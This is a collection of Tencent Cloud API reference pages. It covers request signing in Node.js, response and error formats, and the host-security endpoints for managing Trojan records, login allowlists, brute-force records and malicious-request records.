const url_strParam = sort_params(params)
return "https://" + endpoint + "/?" + url_strParam.slice(1);
}

function formatSignString(reqMethod, endpoint, path, strParam){
let strSign = reqMethod + endpoint + path + "?" + strParam.slice(1);
return strSign;
}
function sha1(secretKey, strsign){
let signMethodMap = {'HmacSHA1': "sha1"};
let hmac = crypto.createHmac(signMethodMap['HmacSHA1'], secretKey || "");
return hmac.update(Buffer.from(strsign, 'utf8')).digest('base64')
}

function sort_params(params){
let strParam = "";
let keys = Object.keys(params);
keys.sort();
for (let k in keys) {
//k = k.replace(/_/g, '.');
```

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```
strParam += ("&" + keys[k] + "=" + params[keys[k]]);
}
return strParam
}

function main(){
const SECRET_ID = "AKID********************************"
const SECRET_KEY = "********************************"

const endpoint = "cvm.tencentcloudapi.com"
const Region = "ap-guangzhou"
const Version = "2017-03-12"
const Action = "DescribeInstances"
const Timestamp = 1465185768
// const Timestamp = Math.round(Date.now() / 1000)
const Nonce = 11886
//const nonce = Math.round(Math.random() * 65535)

let params = {};
params['Action'] = Action;
params['InstanceIds.0'] = 'ins-09dx96dg';
params['Limit'] = 20;
params['Offset'] = 0;
params['Nonce'] = Nonce;
params['Region'] = Region;
params['SecretId'] = SECRET_ID;
params['Timestamp'] = Timestamp;
params['Version'] = Version;

strParam = sort_params(params)

const reqMethod = "GET";
const path = "/";
strSign = formatSignString(reqMethod, endpoint, path, strParam)
console.log(strSign)
console.log("----------------------")

params['Signature'] = sha1(SECRET_KEY, strSign)
console.log(params['Signature'])
console.log("----------------------")

const req_url = get_req_url(params, endpoint)
console.log(params['Signature'])
console.log("----------------------")
console.log(req_url)
}
main()
```

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Responses

Last updated：2024-08-27 11:31:51

Response for Successful Requests

For example, when calling CAM API (version: 2017-03-12) to view the status of instances (DescribeInstancesStatus), if the request has succeeded, you may see the response as shown below:

```
{
"Response": {
"TotalCount": 0,
"InstanceStatusSet": [],
"RequestId": "b5b41468-520d-4192-b42f-595cc34b6c1c"
}
}
```

- The API will return `Response`, which contains `RequestId`, as long as it processes the request. It does not matter if the request is successful or not.
- RequestId is the unique ID of an API request. Contact us with this ID when an exception occurs.
- Except for the fixed fields, all fields are action-specified. For the definitions of action-specified fields, see the corresponding API documentation. In this example, `TotalCount` and `InstanceStatusSet` are the fields specified by the API `DescribeInstancesStatus`. 0 `TotalCount` means that the requester owns 0 CVM instance so the `InstanceStatusSet` is empty.

Response for Failed Requests

If the request has failed, you may see the response as shown below:

```
{
"Response": {
"Error": {
"Code": "AuthFailure.SignatureFailure",
"Message": "The provided credentials could not be validated. Please ensure your s
ignature is correct."
},
"RequestId": "ed93f3cb-f35e-473f-b9f3-0d451b8b79c6"
}
}
```

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- The presence of the `Error` field indicates that the request has failed. A response for a failed request will include `Error`, `Code` and `Message` fields.
- `Code` is the code of the error that helps you identify the cause and solution. There are two types of error codes so you may find the code in either common error codes or API-specified error codes.
- Message explains the cause of the error. Note that the returned messages are subject to service updates. The information the messages provide may not be up-to-date and should not be the only source of reference.
- RequestId is the unique ID of an API request. Contact us with this ID when an exception occurs.

Common Error Codes

If there is an Error field in the response, it means that the API call failed. The Code field in Error indicates the error code. The following table lists the common error codes that all actions can return.

Error Code	Description
AuthFailure.InvalidSecretId	Invalid key (not a TencentCloud API key type).
AuthFailure.MFAFailure	MFA failed.
AuthFailure.SecretIdNotFound	The key does not exist.
AuthFailure.SignatureExpire	Signature expired.
AuthFailure.SignatureFailure	Signature error.
AuthFailure.TokenFailure	Token error.
AuthFailure.UnauthorizedOperation	The request does not have CAM authorization.
DryRunOperation	DryRun Operation. It means that the request would have succeeded, but the DryRun parameter was used.
FailedOperation	Operation failed.
InternalError	Internal error.
InvalidAction	The API does not exist.
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
LimitExceeded	Quota limit exceeded.

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Error Code	Description
MissingParameter	A parameter is missing.
NoSuchVersion	The API version does not exist.
RequestLimitExceeded	The number of requests exceeds the frequency limit.
ResourceInUse	Resource is in use.
ResourceInsufficient	Insufficient resource.
ResourceNotFound	The resource does not exist.
ResourceUnavailable	Resource is unavailable.
UnauthorizedOperation	Unauthorized operation.
UnknownParameter	Unknown parameter.
UnsupportedOperation	Unsupported operation.
UnsupportedProtocol	HTTPS request method error. Only GET and POST requests are supported.
UnsupportedRegion	API does not support the requested region.

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Intrusion Detection APIs
DeleteMalwares

Last updated：2024-12-06 15:39:30

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete Trojan records.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteMalwares.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	Trojan record ID array (The maximum number of IDs is 100.)

3. Output Parameters

Parameter	Type	Description

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Name		
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Trojan Records

This example shows you how to delete Trojan records using this API (DeleteMalwares).

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DeleteMalwares
<Common request parameters>

{
"Ids": [
1,
2,
3
]
}
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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TrustMalwares

Last updated：2024-12-06 15:39:14

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to mark identified Trojan files as Trusted.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: TrustMalwares.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Trojan ID array (The maximum number of IDs at one time is 100)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Trusted Files

This example shows you how to set identified Trojan files as trusted using this API (TrustMalwares).

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=TrustMalwares
&Ids.0=123
&Ids.1=456
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for C++

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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UntrustMalwares

Last updated：2024-12-06 15:39:14

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to untrust Trojan files.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: UntrustMalwares.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Trojan ID array (The maximum number of IDs is 100.)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Untrusting Trojans

This example shows you how to untrust Trojans using this API (UntrustMalwares).

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=UntrustMalwares
&Ids.0=123
&Ids.1=456
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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SeparateMalwares

Last updated：2024-12-06 15:39:15

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to isolate Trojans.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: SeparateMalwares.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Trojan event ID array (The maximum number of IDs is 100.)
KillProcess	No	Boolean	Whether to kill the process

3. Output Parameters

Parameter	Type	Description

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Name		
SuccessIds	Array of Integer	Successfully isolated arrays of IDs; if none, an empty array is returned.
FailedIds	Array of Integer	Unsuccessfully isolated arrays of IDs; if none, an empty array is returned.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Isolating Trojans

This example shows you how to isolate Trojans using this API (SeparateMalwares).

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: SeparateMalwares
<Common request parameters>

{
"Ids": [
1,
2,
3
]
}
```

Output Example

```
{
"Response": {
"SuccessIds": [
123,
456
],
```

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```
"FailedIds": [],
"RequestId": "4985eb7f-62d6-4da8-898f-d92a08660a38"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.PartSeparate	Isolation of multiple hosts partially or completely failed.
FailedOperation.SingleSeparate	Isolation of a single host failed.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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RecoverMalwares

Last updated：2024-12-06 15:39:15

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to batch recover quarantined Trojan files.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: RecoverMalwares.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Trojan ID array (The maximum number of IDs is 100)

3. Output Parameters

Parameter Name	Type	Description

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SuccessIds	Array of Integer	An array of IDs for successfully recovered items; if none, an empty array is returned.
FailedIds	Array of Integer	An array of IDs for items that failed to be recovered; if none, an empty array is returned.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Recovering Trojan files

This example shows you how to batch recover the quarantined Trojan files by the API (RecoverMalwares).

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: RecoverMalwares
<Common request parameters>

{
"Ids": [
1,
2,
3
]
}
```

Output Example

```
{
"Response": {
"FailedIds": [],
"RequestId": "4985eb7f-62d6-4da8-898f-d92a08660a38",
"SuccessIds": [
123,
456
]
```

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```
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.Recover	Failed to respond to the Trojan.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.

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InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportMalwares

Last updated：2024-12-06 15:39:19

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export Trojan records to a CSV file.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportMalwares.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Maximum number of entries. Default value: 10.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filters	Filter parameters • IpOrAlias - String - required: no - filter by host IP or alias • FilePath - String - required: no - filter by path • VirusName - String - required: no - filter by description • CreateBeginTime - String - required: no - filter by creation time - start time • CreateEndTime - String - required: no - filter by creation time - end time

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			• Status - String - required: no - filter by status
By	No	String	Sorting value: CreateTime
Order	No	String	Sorting method: ASC, DESC

3. Output Parameters

Parameter Name	Type	Description
DownloadUrl	String	This parameter has been discarded.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting the Trojan Records

This example shows you how to export the Trojan records.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportMalwares
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DownloadUrl": "http://download.url/xxx.csv"
}
}
```

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5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.Export	Failed to export the file.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeLoginWhiteList

Last updated：2024-12-06 15:42:38

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the cross-region log-in allowlist list.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeLoginWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Limit	No	Integer	Number of returned entries. Maximum value: 100.
Offset	No	Integer	Offset. Default value: 0.
Filters.N	No	Array of Filter	Filter criteria • IpOrAlias - String - required: no - keyword for search • UserName - String - required: no - username for filtering • ModifyBeginTime - String - required: no - modification start time for filtering • ModifyEndTime - String - required: no - modification end time for filtering

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3. Output Parameters

Parameter Name	Type	Description
TotalCount	Integer	Total number of records
LoginWhiteLists	Array of LoginWhiteLists	Cross-region log-in allowlist array
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the Remote Log-in Allowlist

This example shows you how to obtain the remote log-in allowlist.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DescribeLoginWhiteList
&Limit=10
&Offset=0
&<Common request parameters>
```

Output Example

```
{
"Response": {
"TotalCount": "2",
"LoginWhiteLists": [
{
"Id": 1,
"Uuid": "d2973ed0-6334-11e8-87cc-92be94217eaa",
"Places": [
{
"CountryId": "1",
"ProvinceId": "1",
```

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```
"CityId": "1"
},
{
"CountryId": "1",
"ProvinceId": "2",
"CityId": "2"
}
],
"CreateTime": "2019-09-09 11:00:02",
"ModifyTime": "2019-09-09 15:37:31",
"UserName": "guest, abc, 123",
"SrcIp": "8.8.8.8, 192.168.0.1/24",
"IsGlobal": true
},
{
"Id": 2,
"Uuid": "fb8c1b1a-5e2c-11e8-bb3b-00e021e1b24b",
"Places": [
{
"CountryId": "1",
"ProvinceId": "1",
"CityId": "1"
}
],
"CreateTime": "2019-09-09 11:00:02",
"ModifyTime": "2019-09-09 11:00:02",
"UserName": "guest",
"SrcIp": "10.1.1.1, 192.168.0.1/24",
"IsGlobal": true
}
],
"RequestId": "8bcb699a-5ba3-ebcf-f569-d5f5e5271414"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java

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- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.

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DeleteLoginWhiteList

Last updated：2024-12-06 15:42:40

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete the cross-region log-in allowlist rules.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteLoginWhiteList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	Yes	Array of Integer	Allowlisted IDs (The maximum number is 100.)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting a Cross-region Log-in Allowlist Rule

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteLoginWhiteList
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

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- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

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- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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ExportNonlocalLoginPlaces

Last updated：2024-12-06 15:42:37

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export cross-region log-in event records in CSV format.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportNonlocalLoginPlaces.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filter	• Status - int - required: no - filter by status: 1: normal log-in; 2: cross-region log-in

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	This parameter has been discarded.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Cross-Region Log-in Records

This example shows you how to export records of cross-region log-in events as a CSV file.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportNonlocalLoginPlaces
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DownloadUrl": "",
"TaskId": "1596595610"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation	Operation failed.
FailedOperation.Export	Failed to export the file.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.

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ExportBruteAttacks

Last updated：2024-12-06 15:39:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export password cracking records to a CSV file.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportBruteAttacks.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Filters.N	No	Array of Filters	Filter parameters

3. Output Parameters

Parameter Name	Type	Description

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DownloadUrl	String	This parameter has been deprecated.
TaskId	String	Task ID, required for obtaining the DownloadURL at API Asynchronous Export Task ExportTasks
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Exporting Password Cracking Records

This example shows you how to export password cracking records to a CSV file.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=ExportBruteAttacks
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a",
"DownloadUrl": "http://download.url/xxx.csv",
"TaskId": "1596595610"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
FailedOperation.Export	Failed to export the file.
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.

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DeleteMaliciousRequests

Last updated：2024-12-06 15:41:04

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to delete malicious request records.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DeleteMaliciousRequests.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Ids.N	No	Array of Integer	Malicious request record ID array (The maximum number of IDs is 100)

3. Output Parameters

Parameter Name	Type	Description

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RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Deleting Malicious Request Record

This example shows you how to delete malicious request records.

Input Example

```
https://cwp.intl.tencentcloudapi.com/?Action=DeleteMaliciousRequests
&Ids.0=1
&Ids.1=2
&<Common request parameters>
```

Output Example

```
{
"Response": {
"RequestId": "354f4ac3-8546-4516-8c8a-69e3ab73aa8a"
}
}
```

5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
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- Tencent Cloud SDK 3.0 for C++

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
LimitExceeded.AreaQuota	The maximum number for batch addition is exceeded.
MissingParameter	Missing parameter error.

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ExportMaliciousRequests

Last updated：2024-12-06 15:40:59

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to export the downloaded malicious request files.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: ExportMaliciousRequests.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
